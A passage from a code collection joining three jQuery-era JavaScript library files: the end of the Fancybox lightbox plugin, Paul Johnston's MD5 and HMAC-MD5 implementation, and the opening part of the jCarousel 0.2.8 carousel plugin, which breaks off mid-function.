pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0;
pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0;
pos.width = obj.width();
pos.height = obj.height();
return pos;
},
_get_zoom_from = function() {
var orig = selectedOpts.orig ? $(selectedOpts.orig) : false,
from = {},
pos,
view;
if (orig && orig.length) {
pos = _get_obj_pos(orig);
from = {
width : pos.width + (currentOpts.padding * 2),
height : pos.height + (currentOpts.padding * 2),
top : pos.top - currentOpts.padding - 20,
left : pos.left - currentOpts.padding - 20
};
} else {
view = _get_viewport();
from = {
width : currentOpts.padding * 2,
height : currentOpts.padding * 2,
top : parseInt(view[3] + view[1] * 0.5, 10),
left : parseInt(view[2] + view[0] * 0.5, 10)
};
}
return from;
},
_animate_loading = function() {
if (!loading.is(':visible')){
clearInterval(loadingTimer);
return;
}
$('div', loading).css('top', (loadingFrame * -40) + 'px');
loadingFrame = (loadingFrame + 1) % 12;
};
/*
* Public methods
*/
$.fn.fancybox = function(options) {
if (!$(this).length) {
return this;
}
$(this)
.data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {})))
.unbind('click.fb')
.bind('click.fb', function(e) {
e.preventDefault();
if (busy) {
return;
}
busy = true;
$(this).blur();
selectedArray = [];
selectedIndex = 0;
var rel = $(this).attr('rel') || '';
if (!rel || rel == '' || rel === 'nofollow') {
selectedArray.push(this);
} else {
selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]");
selectedIndex = selectedArray.index( this );
}
_start();
return;
});
return this;
};
$.fancybox = function(obj) {
var opts;
if (busy) {
return;
}
busy = true;
opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {};
selectedArray = [];
selectedIndex = parseInt(opts.index, 10) || 0;
if ($.isArray(obj)) {
for (var i = 0, j = obj.length; i < j; i++) {
if (typeof obj[i] == 'object') {
$(obj[i]).data('fancybox', $.extend({}, opts, obj[i]));
} else {
obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts));
}
}
selectedArray = jQuery.merge(selectedArray, obj);
} else {
if (typeof obj == 'object') {
$(obj).data('fancybox', $.extend({}, opts, obj));
} else {
obj = $({}).data('fancybox', $.extend({content : obj}, opts));
}
selectedArray.push(obj);
}
if (selectedIndex > selectedArray.length || selectedIndex < 0) {
selectedIndex = 0;
}
_start();
};
$.fancybox.showActivity = function() {
clearInterval(loadingTimer);
loading.show();
loadingTimer = setInterval(_animate_loading, 66);
};
$.fancybox.hideActivity = function() {
loading.hide();
};
$.fancybox.next = function() {
return $.fancybox.pos( currentIndex + 1);
};
$.fancybox.prev = function() {
return $.fancybox.pos( currentIndex - 1);
};
$.fancybox.pos = function(pos) {
if (busy) {
return;
}
pos = parseInt(pos);
selectedArray = currentArray;
if (pos > -1 && pos < currentArray.length) {
selectedIndex = pos;
_start();
} else if (currentOpts.cyclic && currentArray.length > 1) {
selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1;
_start();
}
return;
};
$.fancybox.cancel = function() {
if (busy) {
return;
}
busy = true;
$.event.trigger('fancybox-cancel');
_abort();
selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts);
busy = false;
};
// Note: within an iframe use - parent.$.fancybox.close();
$.fancybox.close = function() {
if (busy || wrap.is(':hidden')) {
return;
}
busy = true;
if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) {
busy = false;
return;
}
_abort();
$(close.add( nav_left ).add( nav_right )).hide();
$(content.add( overlay )).unbind();
$(window).unbind("resize.fb scroll.fb");
$(document).unbind('keydown.fb');
content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank');
if (currentOpts.titlePosition !== 'inside') {
title.empty();
}
wrap.stop();
function _cleanup() {
overlay.fadeOut('fast');
title.empty().hide();
wrap.hide();
$.event.trigger('fancybox-cleanup');
content.empty();
currentOpts.onClosed(currentArray, currentIndex, currentOpts);
currentArray = selectedOpts = [];
currentIndex = selectedIndex = 0;
currentOpts = selectedOpts = {};
busy = false;
}
if (currentOpts.transitionOut == 'elastic') {
start_pos = _get_zoom_from();
var pos = wrap.position();
final_pos = {
top : pos.top ,
left : pos.left,
width : wrap.width(),
height : wrap.height()
};
if (currentOpts.opacity) {
final_pos.opacity = 1;
}
title.empty().hide();
fx.prop = 1;
$(fx).animate({ prop: 0 }, {
duration : currentOpts.speedOut,
easing : currentOpts.easingOut,
step : _draw,
complete : _cleanup
});
} else {
wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup);
}
};
$.fancybox.resize = function() {
if (overlay.is(':visible')) {
overlay.css('height', $(document).height());
}
$.fancybox.center(true);
};
$.fancybox.center = function() {
var view, align;
if (busy) {
return;
}
align = arguments[0] === true ? 1 : 0;
view = _get_viewport();
if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) {
return;
}
wrap
.stop()
.animate({
'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)),
'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding))
}, typeof arguments[0] == 'number' ? arguments[0] : 200);
};
$.fancybox.init = function() {
if ($("#fancybox-wrap").length) {
return;
}
$('body').append(
tmp = $('<div id="fancybox-tmp"></div>'),
loading = $('<div id="fancybox-loading"><div></div></div>'),
overlay = $('<div id="fancybox-overlay"></div>'),
wrap = $('<div id="fancybox-wrap"></div>')
);
outer = $('<div id="fancybox-outer"></div>')
.append('<div class="fancybox-bg" id="fancybox-bg-n"></div><div class="fancybox-bg" id="fancybox-bg-ne"></div><div class="fancybox-bg" id="fancybox-bg-e"></div><div class="fancybox-bg" id="fancybox-bg-se"></div><div class="fancybox-bg" id="fancybox-bg-s"></div><div class="fancybox-bg" id="fancybox-bg-sw"></div><div class="fancybox-bg" id="fancybox-bg-w"></div><div class="fancybox-bg" id="fancybox-bg-nw"></div>')
.appendTo( wrap );
outer.append(
content = $('<div id="fancybox-content"></div>'),
close = $('<a id="fancybox-close"></a>'),
title = $('<div id="fancybox-title"></div>'),
nav_left = $('<a href="javascript:;" id="fancybox-left"><span class="fancy-ico" id="fancybox-left-ico"></span></a>'),
nav_right = $('<a href="javascript:;" id="fancybox-right"><span class="fancy-ico" id="fancybox-right-ico"></span></a>')
);
close.click($.fancybox.close);
loading.click($.fancybox.cancel);
nav_left.click(function(e) {
e.preventDefault();
$.fancybox.prev();
});
nav_right.click(function(e) {
e.preventDefault();
$.fancybox.next();
});
if ($.fn.mousewheel) {
wrap.bind('mousewheel.fb', function(e, delta) {
if (busy) {
e.preventDefault();
} else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) {
e.preventDefault();
$.fancybox[ delta > 0 ? 'prev' : 'next']();
}
});
}
if (!$.support.opacity) {
wrap.addClass('fancybox-ie');
}
if (isIE6) {
loading.addClass('fancybox-ie6');
wrap.addClass('fancybox-ie6');
$('<iframe id="fancybox-hide-sel-frame" src="' + (/^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank' ) + '" scrolling="no" border="0" frameborder="0" tabindex="-1"></iframe>').prependTo(outer);
}
};
$.fn.fancybox.defaults = {
padding : 10,
margin : 40,
opacity : false,
modal : false,
cyclic : false,
scrolling : 'auto', // 'auto', 'yes' or 'no'
width : 560,
height : 340,
autoScale : true,
autoDimensions : true,
centerOnScroll : false,
ajax : {},
swf : { wmode: 'transparent' },
hideOnOverlayClick : true,
hideOnContentClick : false,
overlayShow : true,
overlayOpacity : 0.7,
overlayColor : '#777',
titleShow : true,
titlePosition : 'float', // 'float', 'outside', 'inside' or 'over'
titleFormat : null,
titleFromAlt : false,
transitionIn : 'fade', // 'elastic', 'fade' or 'none'
transitionOut : 'fade', // 'elastic', 'fade' or 'none'
speedIn : 300,
speedOut : 300,
changeSpeed : 300,
changeFade : 'fast',
easingIn : 'swing',
easingOut : 'swing',
showCloseButton : true,
showNavArrows : true,
enableEscapeButton : true,
enableKeyboardNav : true,
onStart : function(){},
onCancel : function(){},
onComplete : function(){},
onCleanup : function(){},
onClosed : function(){},
onError : function(){}
};
$(document).ready(function() {
$.fancybox.init();
});
})(jQuery); | JavaScript |
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));}
function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));}
function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));}
function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); }
function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); }
function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length
*/
function core_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Calculate the HMAC-MD5, of a key and some data
*/
function core_hmac_md5(key, data)
{
var bkey = str2binl(key);
if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);
return core_md5(opad.concat(hash), 512 + 128);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert a string to an array of little-endian words
* If chrsz is ASCII, characters >255 have their hi-byte silently ignored.
*/
function str2binl(str)
{
var bin = Array();
var mask = (1 << chrsz) - 1;
for(var i = 0; i < str.length * chrsz; i += chrsz)
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);
return bin;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2str(bin)
{
var str = "";
var mask = (1 << chrsz) - 1;
for(var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);
return str;
}
/*
* Convert an array of little-endian words to a hex string.
*/
function binl2hex(binarray)
{
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for(var i = 0; i < binarray.length * 4; i++)
{
str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);
}
return str;
}
/*
* Convert an array of little-endian words to a base-64 string
*/
function binl2b64(binarray)
{
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for(var i = 0; i < binarray.length * 4; i += 3)
{
var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16)
| (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )
| ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
}
}
return str;
}
| JavaScript |
/*!
* jCarousel - Riding carousels with jQuery
* http://sorgalla.com/jcarousel/
*
* Copyright (c) 2006 Jan Sorgalla (http://sorgalla.com)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* Built on top of the jQuery library
* http://jquery.com
*
* Inspired by the "Carousel Component" by Bill Scott
* http://billwscott.com/carousel/
*/
/*global window, jQuery */
(function($) {
// Default configuration properties.
var defaults = {
vertical: false,
rtl: false,
start: 1,
offset: 1,
size: null,
scroll: 3,
visible: null,
animation: 'normal',
easing: 'swing',
auto: 0,
wrap: null,
initCallback: null,
setupCallback: null,
reloadCallback: null,
itemLoadCallback: null,
itemFirstInCallback: null,
itemFirstOutCallback: null,
itemLastInCallback: null,
itemLastOutCallback: null,
itemVisibleInCallback: null,
itemVisibleOutCallback: null,
animationStepCallback: null,
buttonNextHTML: '<div></div>',
buttonPrevHTML: '<div></div>',
buttonNextEvent: 'click',
buttonPrevEvent: 'click',
buttonNextCallback: null,
buttonPrevCallback: null,
itemFallbackDimension: null
}, windowLoaded = false;
$(window).bind('load.jcarousel', function() { windowLoaded = true; });
/**
* The jCarousel object.
*
* @constructor
* @class jcarousel
* @param e {HTMLElement} The element to create the carousel for.
* @param o {Object} A set of key/value pairs to set as configuration properties.
* @cat Plugins/jCarousel
*/
$.jcarousel = function(e, o) {
this.options = $.extend({}, defaults, o || {});
this.locked = false;
this.autoStopped = false;
this.container = null;
this.clip = null;
this.list = null;
this.buttonNext = null;
this.buttonPrev = null;
this.buttonNextState = null;
this.buttonPrevState = null;
// Only set if not explicitly passed as option
if (!o || o.rtl === undefined) {
this.options.rtl = ($(e).attr('dir') || $('html').attr('dir') || '').toLowerCase() == 'rtl';
}
this.wh = !this.options.vertical ? 'width' : 'height';
this.lt = !this.options.vertical ? (this.options.rtl ? 'right' : 'left') : 'top';
// Extract skin class
var skin = '', split = e.className.split(' ');
for (var i = 0; i < split.length; i++) {
if (split[i].indexOf('jcarousel-skin') != -1) {
$(e).removeClass(split[i]);
skin = split[i];
break;
}
}
if (e.nodeName.toUpperCase() == 'UL' || e.nodeName.toUpperCase() == 'OL') {
this.list = $(e);
this.clip = this.list.parents('.jcarousel-clip');
this.container = this.list.parents('.jcarousel-container');
} else {
this.container = $(e);
this.list = this.container.find('ul,ol').eq(0);
this.clip = this.container.find('.jcarousel-clip');
}
if (this.clip.size() === 0) {
this.clip = this.list.wrap('<div></div>').parent();
}
if (this.container.size() === 0) {
this.container = this.clip.wrap('<div></div>').parent();
}
if (skin !== '' && this.container.parent()[0].className.indexOf('jcarousel-skin') == -1) {
this.container.wrap('<div class=" '+ skin + '"></div>');
}
this.buttonPrev = $('.jcarousel-prev', this.container);
if (this.buttonPrev.size() === 0 && this.options.buttonPrevHTML !== null) {
this.buttonPrev = $(this.options.buttonPrevHTML).appendTo(this.container);
}
this.buttonPrev.addClass(this.className('jcarousel-prev'));
this.buttonNext = $('.jcarousel-next', this.container);
if (this.buttonNext.size() === 0 && this.options.buttonNextHTML !== null) {
this.buttonNext = $(this.options.buttonNextHTML).appendTo(this.container);
}
this.buttonNext.addClass(this.className('jcarousel-next'));
this.clip.addClass(this.className('jcarousel-clip')).css({
position: 'relative'
});
this.list.addClass(this.className('jcarousel-list')).css({
overflow: 'hidden',
position: 'relative',
top: 0,
margin: 0,
padding: 0
}).css((this.options.rtl ? 'right' : 'left'), 0);
this.container.addClass(this.className('jcarousel-container')).css({
position: 'relative'
});
if (!this.options.vertical && this.options.rtl) {
this.container.addClass('jcarousel-direction-rtl').attr('dir', 'rtl');
}
var di = this.options.visible !== null ? Math.ceil(this.clipping() / this.options.visible) : null;
var li = this.list.children('li');
var self = this;
if (li.size() > 0) {
var wh = 0, j = this.options.offset;
li.each(function() {
self.format(this, j++);
wh += self.dimension(this, di);
});
this.list.css(this.wh, (wh + 100) + 'px');
// Only set if not explicitly passed as option
if (!o || o.size === undefined) {
this.options.size = li.size();
}
}
// For whatever reason, .show() does not work in Safari...
this.container.css('display', 'block');
this.buttonNext.css('display', 'block');
this.buttonPrev.css('display', 'block');
this.funcNext = function() { self.next(); };
this.funcPrev = function() { self.prev(); };
this.funcResize = function() {
if (self.resizeTimer) {
clearTimeout(self.resizeTimer);
}
self.resizeTimer = setTimeout(function() {
self.reload();
}, 100);
};
if (this.options.initCallback !== null) {
this.options.initCallback(this, 'init');
}
if (!windowLoaded && $.browser.safari) {
this.buttons(false, false);
$(window).bind('load.jcarousel', function() { self.setup(); });
} else {
this.setup();
}
};
// Create shortcut for internal use
var $jc = $.jcarousel;
$jc.fn = $jc.prototype = {
jcarousel: '0.2.8'
};
$jc.fn.extend = $jc.extend = $.extend;
$jc.fn.extend({
/**
* Setups the carousel.
*
* @method setup
* @return undefined
*/
setup: function() {
this.first = null;
this.last = null;
this.prevFirst = null;
this.prevLast = null;
this.animating = false;
this.timer = null;
this.resizeTimer = null;
this.tail = null;
this.inTail = false;
if (this.locked) {
return;
}
this.list.css(this.lt, this.pos(this.options.offset) + 'px');
var p = this.pos(this.options.start, true);
this.prevFirst = this.prevLast = null;
this.animate(p, false);
$(window).unbind('resize.jcarousel', this.funcResize).bind('resize.jcarousel', this.funcResize);
if (this.options.setupCallback !== null) {
this.options.setupCallback(this);
}
},
/**
* Clears the list and resets the carousel.
*
* @method reset
* @return undefined
*/
reset: function() {
this.list.empty();
this.list.css(this.lt, '0px');
this.list.css(this.wh, '10px');
if (this.options.initCallback !== null) {
this.options.initCallback(this, 'reset');
}
this.setup();
},
/**
* Reloads the carousel and adjusts positions.
*
* @method reload
* @return undefined
*/
reload: function() {
if (this.tail !== null && this.inTail) {
this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) + this.tail);
}
this.tail = null;
this.inTail = false;
if (this.options.reloadCallback !== null) {
this.options.reloadCallback(this);
}
if (this.options.visible !== null) {
var self = this;
var di = Math.ceil(this.clipping() / this.options.visible), wh = 0, lt = 0;
this.list.children('li').each(function(i) {
wh += self.dimension(this, di);
if (i + 1 < self.first) {
lt = wh;
}
});
this.list.css(this.wh, wh + 'px');
this.list.css(this.lt, -lt + 'px');
}
this.scroll(this.first, false);
},
/**
* Locks the carousel.
*
* @method lock
* @return undefined
*/
lock: function() {
this.locked = true;
this.buttons();
},
/**
* Unlocks the carousel.
*
* @method unlock
* @return undefined
*/
unlock: function() {
this.locked = false;
this.buttons();
},
/**
* Sets the size of the carousel.
*
* @method size
* @return undefined
* @param s {Number} The size of the carousel.
*/
size: function(s) {
if (s !== undefined) {
this.options.size = s;
if (!this.locked) {
this.buttons();
}
}
return this.options.size;
},
/**
* Checks whether a list element exists for the given index (or index range).
*
* @method get
* @return bool
* @param i {Number} The index of the (first) element.
* @param i2 {Number} The index of the last element.
*/
has: function(i, i2) {
if (i2 === undefined || !i2) {
i2 = i;
}
if (this.options.size !== null && i2 > this.options.size) {
i2 = this.options.size;
}
for (var j = i; j <= i2; j++) {
var e = this.get(j);
if (!e.length || e.hasClass('jcarousel-item-placeholder')) {
return false;
}
}
return true;
},
/**
* Returns a jQuery object with list element for the given index.
*
* @method get
* @return jQuery
* @param i {Number} The index of the element.
*/
get: function(i) {
return $('>.jcarousel-item-' + i, this.list);
},
/**
* Adds an element for the given index to the list.
* If the element already exists, it updates the inner html.
* Returns the created element as jQuery object.
*
* @method add
* @return jQuery
* @param i {Number} The index of the element.
* @param s {String} The innerHTML of the element.
*/
add: function(i, s) {
var e = this.get(i), old = 0, n = $(s);
if (e.length === 0) {
var c, j = $jc.intval(i);
e = this.create(i);
while (true) {
c = this.get(--j);
if (j <= 0 || c.length) {
if (j <= 0) {
this.list.prepend(e);
} else {
c.after(e);
}
break;
}
}
} else {
old = this.dimension(e);
}
if (n.get(0).nodeName.toUpperCase() == 'LI') {
e.replaceWith(n);
e = n;
} else {
e.empty().append(s);
}
this.format(e.removeClass(this.className('jcarousel-item-placeholder')), i);
var di = this.options.visible !== null ? Math.ceil(this.clipping() / this.options.visible) : null;
var wh = this.dimension(e, di) - old;
if (i > 0 && i < this.first) {
this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) - wh + 'px');
}
this.list.css(this.wh, $jc.intval(this.list.css(this.wh)) + wh + 'px');
return e;
},
/**
* Removes an element for the given index from the list.
*
* @method remove
* @return undefined
* @param i {Number} The index of the element.
*/
remove: function(i) {
var e = this.get(i);
// Check if item exists and is not currently visible
if (!e.length || (i >= this.first && i <= this.last)) {
return;
}
var d = this.dimension(e);
if (i < this.first) {
this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) + d + 'px');
}
e.remove();
this.list.css(this.wh, $jc.intval(this.list.css(this.wh)) - d + 'px');
},
/**
* Moves the carousel forwards.
*
* @method next
* @return undefined
*/
next: function() {
if (this.tail !== null && !this.inTail) {
this.scrollTail(false);
} else {
this.scroll(((this.options.wrap == 'both' || this.options.wrap == 'last') && this.options.size !== null && this.last == this.options.size) ? 1 : this.first + this.options.scroll);
}
},
/**
* Moves the carousel backwards.
*
* @method prev
* @return undefined
*/
prev: function() {
if (this.tail !== null && this.inTail) {
this.scrollTail(true);
} else {
this.scroll(((this.options.wrap == 'both' || this.options.wrap == 'first') && this.options.size !== null && this.first == 1) ? this.options.size : this.first - this.options.scroll);
}
},
/**
* Scrolls the tail of the carousel.
*
* @method scrollTail
* @return undefined
* @param b {Boolean} Whether scroll the tail back or forward.
*/
scrollTail: function(b) {
if (this.locked || this.animating || !this.tail) {
return;
}
this.pauseAuto();
var pos = $jc.intval(this.list.css(this.lt));
pos = !b ? pos - this.tail : pos + this.tail;
this.inTail = !b;
// Save for callbacks
this.prevFirst = this.first;
this.prevLast = this.last;
this.animate(pos);
},
/**
* Scrolls the carousel to a certain position.
*
* @method scroll
* @return undefined
* @param i {Number} The index of the element to scoll to.
* @param a {Boolean} Flag indicating whether to perform animation.
*/
scroll: function(i, a) {
if (this.locked || this.animating) {
return;
}
this.pauseAuto();
this.animate(this.pos(i), a);
},
/**
* Prepares the carousel and return the position for a certian index.
*
* @method pos
* @return {Number}
* @param i {Number} The index of the element to scoll to.
* @param fv {Boolean} Whether to force last item to be visible.
*/
pos: function(i, fv) {
var pos = $jc.intval(this.list.css(this.lt));
if (this.locked || this.animating) {
return pos;
}
if (this.options.wrap != 'circular') {
i = i < 1 ? 1 : (this.options.size && i > this.options.size ? this.options.size : i);
}
var back = this.first > i;
// Create placeholders, new list width/height
// and new list position
var f = this.options.wrap != 'circular' && this.first <= 1 ? 1 : this.first;
var c = back ? this.get(f) : this.get(this.last);
var j = back ? f : f - 1;
var e = null, l = 0, p = false, d = 0, g;
while (back ? --j >= i : ++j < i) {
e = this.get(j);
p = !e.length;
if (e.length === 0) {
e = this.create(j).addClass(this.className('jcarousel-item-placeholder'));
c[back ? 'before' : 'after' ](e);
if (this.first !== null && this.options.wrap == 'circular' && this.options.size !== null && (j <= 0 || j > this.options.size)) {
g = this.get(this.index(j));
if (g.length) {
e = this.add(j, g.clone(true));
}
}
}
c = e;
d = this.dimension(e);
if (p) {
l += d;
}
if (this.first !== null && (this.options.wrap == 'circular' || (j >= 1 && (this.options.size === null || j <= this.options.size)))) {
pos = back ? pos + d : pos - d;
}
}
// Calculate visible items
var clipping = this.clipping(), cache = [], visible = 0, v = 0;
c = this.get(i - 1);
j = i;
while (++visible) {
e = this.get(j);
p = !e.length;
if (e.length === 0) {
e = this.create(j).addClass(this.className('jcarousel-item-placeholder'));
// This should only happen on a next scroll
if (c.length === 0) {
this.list.prepend(e);
} else {
c[back ? 'before' : 'after' ](e);
}
if (this.first !== null && this.options.wrap == 'circular' && this.options.size !== null && (j <= 0 || j > this.options.size)) {
g = this.get(this.index(j));
if (g.length) {
e = this.add(j, g.clone(true));
}
}
}
c = e;
d = this.dimension(e);
if (d === 0) {
throw new Error('jCarousel: No width/height set for items. This will cause an infinite loop. Aborting...');
}
if (this.options.wrap != 'circular' && this.options.size !== null && j > this.options.size) {
cache.push(e);
} else if (p) {
l += d;
}
v += d;
if (v >= clipping) {
break;
}
j++;
}
// Remove out-of-range placeholders
for (var x = 0; x < cache.length; x++) {
cache[x].remove();
}
// Resize list
if (l > 0) {
